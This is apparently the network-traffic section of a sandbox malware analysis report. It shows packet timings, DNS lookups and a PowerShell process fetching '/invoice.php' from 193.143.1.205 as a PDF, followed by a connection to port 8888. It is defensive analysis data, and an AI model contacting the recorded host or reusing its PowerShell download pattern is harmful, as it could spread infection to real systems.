Jan 11, 2025 03:04:09.333211899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.333226919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.333237886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.333237886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.333247900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.333256006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.333267927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.333300114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.334954023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.334975004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.335011005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.337827921 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.337932110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.337979078 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.337990046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338001966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338046074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.338078022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338098049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338140965 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.338155031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338167906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338197947 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.338289022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338299036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338309050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338346958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.338372946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338385105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338418007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.338562965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338573933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338584900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338596106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338607073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338614941 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.338650942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.338746071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338758945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338805914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.338896990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338910103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.338944912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.367145061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.367175102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.367183924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.367307901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.367306948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.367326975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.367352009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.367433071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.367444992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.367470026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.367551088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.367562056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.367573023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.367588043 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.367607117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.367713928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.367726088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.367769003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.379584074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.383148909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.383162022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.383172989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.383222103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.383253098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.383265972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.383276939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.383287907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.383287907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.383318901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.385519981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.391515970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.391558886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.391571045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.391583920 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.391613960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.391683102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.391695023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.391730070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.391814947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.391825914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.391863108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.392015934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.392028093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.392039061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.392050028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.392061949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.392062902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.392083883 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.392267942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.392282009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.392307997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.420806885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.420819998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.420831919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.420854092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.420876980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.420886040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.420898914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.420947075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.421060085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.421072960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.421083927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.421113014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.421197891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.421209097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.421220064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.421233892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.421261072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.421433926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.421453953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.421464920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.421477079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.421510935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.421535015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.421669960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.421694994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.421708107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.421719074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.421730995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.421760082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.421782017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.421962976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.421973944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.421984911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.421996117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.422005892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.422010899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.422029972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.422033072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.422044992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.422070980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.422552109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.422563076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.422574043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.422584057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.422593117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.422595024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.422614098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.422625065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.422626019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.422636986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.422647953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.422652960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.422658920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.422671080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.422672987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.422681093 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.422683954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.422710896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.423324108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.423333883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.423343897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.423355103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.423360109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.423367977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.423377991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.423383951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.423389912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.423402071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.423412085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.423418999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.423423052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.423434019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.423437119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.423449993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.423455000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.423460960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.423471928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.423481941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.423489094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.423502922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.423521042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.424170017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.424180984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.424190998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.424201965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.424211979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.424221992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.424230099 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.424233913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.424246073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.424257040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.424259901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.424268961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.424278975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.424314022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.428061008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.428972006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.428985119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.428996086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429024935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.429071903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429081917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429092884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429105997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.429121017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.429303885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429316044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429327011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429337978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429344893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429361105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.429390907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.429574966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429585934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429596901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429610014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429610014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.429621935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429634094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429636955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.429646015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429656982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.429681063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.429852962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429864883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429874897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.429896116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.450371027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.458127975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.458142042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.458158016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.458184004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.458206892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.458483934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.458496094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.458507061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.458517075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.458542109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.458564997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.474016905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.474167109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.474179029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.474200964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.474214077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.474246025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.474277973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.474289894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.474301100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.474320889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.482475042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.482516050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.482527971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.482548952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.482579947 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.482678890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.482691050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.482702017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.482712984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.482741117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.482767105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.482932091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.482949972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.482960939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.482971907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.482981920 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.483009100 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.483227015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.483237028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.483247995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.483267069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.484945059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.504993916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.511728048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.511812925 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.511825085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.511837959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.511878014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.511909962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.511920929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.511931896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.511957884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.512140036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.512151003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.512161970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.512172937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.512176037 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.512185097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.512197018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.512202978 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.512231112 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.512473106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.512485027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.512506008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.522963047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.528863907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.714150906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:10.150290012 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:10.155096054 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:10.155155897 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:10.155317068 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:10.160113096 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:10.955724001 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:11.005692005 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:11.150408030 CET	49706	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:04:18.483129978 CET	61764	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:04:18.483129978 CET	192.168.2.8	1.1.1.1	0x5bb2	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:04:18.491451025 CET	1.1.1.1	192.168.2.8	0x5bb2	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:04:36.914758921 CET	1.1.1.1	192.168.2.8	0xceb9	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:04:36.914758921 CET	1.1.1.1	192.168.2.8	0xceb9	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:04:49.506172895 CET	1.1.1.1	192.168.2.8	0x4f46	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:04:49.506172895 CET	1.1.1.1	192.168.2.8	0x4f46	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:05:17.436327934 CET	1.1.1.1	192.168.2.8	0xef02	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:05:17.436327934 CET	1.1.1.1	192.168.2.8	0xef02	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	7624	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:04:07.888725042 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:04:08.724359035 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:04:08 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 